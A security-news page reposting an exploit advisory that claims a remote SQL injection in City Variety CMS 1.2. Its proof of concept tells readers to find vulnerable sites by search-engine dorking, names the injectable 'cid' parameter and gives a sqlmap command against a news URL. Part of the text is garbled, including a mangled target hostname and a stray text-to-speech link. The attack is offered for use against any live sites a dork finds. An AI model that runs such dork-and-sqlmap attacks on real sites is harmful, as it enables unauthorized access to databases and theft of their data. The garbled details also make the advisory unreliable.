Exploit/Advisories no image

Published on August 2nd, 2023 📆 | 8474 Views ⚑

0

City Variety CMS 1.2 SQL Injection – Torchsec


https://www.ispeech.org/text.to.speech

City Variety CMS 1.2 SQL Injection
Posted Aug 1, 2023
Authored by indoushka

City Variety CMS version 1.2 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 2250e2e765de4b6bc2d97d634f0b9796124766ebefd87c919cf034d22a555b9b
====================================================================================================================================
| # Title : City Variety CMS 1.2 SQL injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit) |
| # Vendor : https://www.cityvariety.co.th/ |
====================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] use payload : /?cid=7





[+] D:\sqlmap>sqlmap.py -u https://wwsesaogoth/news/?cid=7 <=== inject hrer

Greetings to :=================================================================
jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |
===============================================================================

Source link

Tagged with:



Comments are closed.